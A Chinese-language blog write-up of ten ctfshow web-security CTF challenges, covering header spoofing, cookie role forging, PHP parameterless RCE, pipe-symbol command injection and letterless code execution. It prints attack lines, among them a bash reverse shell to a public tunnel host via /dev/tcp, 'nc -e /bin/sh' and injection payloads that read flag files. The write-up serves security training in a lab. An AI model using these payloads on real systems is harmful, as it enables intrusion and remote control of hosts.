ctfshow
ctfshow
web应用安全与防护
一、base64编码隐藏

ctrl U 查看源码

Burp解码
CTF{easy_base64}
二、HTTP头注入
- 登入
1 | admin |

要换浏览器,You must use “ctf-show-brower“ browser to access this page
- Burp抓包

CTF{user_agent_inject_success}
三、Base64多层嵌套解码

btoa() 是 JavaScript 中用于将二进制字符串编码为 Base64 格式的 ASCII 字符串的方法。它常用于对数据进行编码以便在网络传输中避免特殊字符问题。
【binary{原始} to ascII{base64}】
// 将字符串 “Hello, world” 编码为 Base64
const encodedData = btoa(“Hello, world”);
console.log(encodedData); // 输出: “SGVsbG8sIHdvcmxk”
// 解码回原始字符串
const decodedData = atob(encodedData);
console.log(decodedData); // 输出: “Hello, world”
SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=
1 | let encoded = btoa(input); |
1 | import base64 |
#A7316

四、HTTPS中间人攻击

抓包
arp #了解局域网中每个ip与mac地址之间的关系
dns
tls 三次握手连接 四次挥手断连,http=无秘密,https + 预主密钥=无秘密

打开wireshark,发现是https协议,信息被加密
这个时候将预主密钥加入到wireshark中

直接出了CTF{https_secret_data}
五、Cookie伪造
先抓个包

然后爆破或者简单猜测:密码和用户名一样 为 guest

但是login之后也没有什么用,还是得不到flag,但是cookie处有变化,我们尝试把role修改成admin,毕竟我们原本cookie中本来就有PHPSESSID
PHPSESSID 的生成与工作机制
PHPSESSID 是通过 PHP 内置的随机数生成器结合客户端 IP、当前时间(秒和微秒)等信息生成的唯一标识符。生成后,它通常存储在客户端的 Cookie 中,并在每次请求时通过 HTTP 头部发送到服务器。
以下是 PHPSESSID 的工作流程:
当客户端首次访问服务器时,PHP 会生成一个唯一的 PHPSESSID。
服务器将 PHPSESSID 通过 Set-Cookie 响应头发送到客户端。
客户端在后续请求中通过 Cookie 头部携带 PHPSESSID,服务器根据该值找到对应的会话文件,从而实现会话数据的读取和写入。
如果客户端禁用了 Cookie,可以通过 URL 参数(如 ?PHPSESSID=xxx)传递 PHPSESSID
我们是可以通过它获得会话数据的

六、一句话木马变形
system() 是 PHP 中用于执行外部系统命令并直接输出结果的函数,常用于调用 Shell 命令
system(ls);

- 利用网址搜,无结果

- 键入system(‘cat flag.php’);
=》Error: Invalid characters detected! Only letters, numbers, underscores , parentheses and semicolons are allowed. 只能用字母、数字、括号、引号和分号
这里引入新知识 无参RCE
正常的后门代码依赖于外部传参来执行命令,通过无参rce可以实现后门代码不依赖于外部参数,而通过php内置函数(如getallheaders()、getenv()、scandir()等)来拼凑出代码执行逻辑。
1
2
3 >var_dump(scandir(current(localeconv()))); #出目录
highlight_file(next(array_reverse(scandir(current(localeconv()))))); #出结果

CTF{shell_code_base64_bypass}
七、反弹shell构造
反弹shell:攻击者构建一个服务器,受害者主机主动连接攻击者的服务端程序,攻击者监听
nc -lvnp 端口号 公网服务器监听指定端口
nc-e /bin/sh 公网服务器ip 端口号 靶机反弹shell
1 | # 攻击者:监听端口 |
1 | # 攻击者:监听端口 |
1 | # 攻击者:监听端口 |
1 | # 攻击者:监听端口 |
打开kali,我在windows上无法做出
键入nc -lvnp 9001
另开一个终端,cpolar tcp 9001 启动隧道

得到转发的公网网址tcp://17.tcp.cpolar.top:13916
然后在题目环境中键入bash -c 'bash -i >& /dev/tcp/17.tcp.cpolar.top/13916 0>&1'

直接输入命令即可得到flag
八、管道符绕过过滤
什么都不输入,直接执行,就已经是执行ls命令

; //分号 都执行
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
- 输入
| tac flag.php直接出

- 输入
| cat flag.phpctrl +U后在源代码页面出

CTF{no_space_to_execute_shell_commands}
九、无字母数字代码执行
无论输入什么,都报错

考虑非字母数字的字符经过各种转换,最后能构造出a-z0-9中的任意一个字符
注意:在使用取反编码再取反进行绕过时,想要执行我们指定的代码,传入的payload必须要满足 (函数名)() 这样的形式,否则在取反之前PHP解释器并不知道是要执行一个函数,取反之后就算是一个函数也不会被当作代码执行。
对system('tac flag.php')构造
一个可以直接生成你想要的任意无字母数字 Payload的小脚本
1 | def generate_payload(func, arg): |

但是直接放还是不行


直接传会被url编码,因此需要抓包传

CTF{no_characters_to_execute_php_code}
十、无字母数字命令执行
看名字感觉和上一题很像啊,一个是代码,一个是命令,我可以尝试一下用上题的办法


这次是直直传过来的

按上题的思路,可以成功执行,但是却看不到flag,没有回显
因为上题底层是php代码,但是这次是shell,看不到
=》CTF 无字母数字 RCE 的绝对方法:“临时文件上传 + Shell 路径通配符”盲打
也是一个脚本一键发包脚本
1 | import requests |

CTF{no_characters_to_execute_shell_commands_he3e}
- 标题: ctfshow
- 作者: r1ck9
- 创建于 : 2026-04-11 01:25:00
- 更新于 : 2026-08-13 10:14:26
- 链接: https://www.r1ck9.top/2026/04/11/ctfshow/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。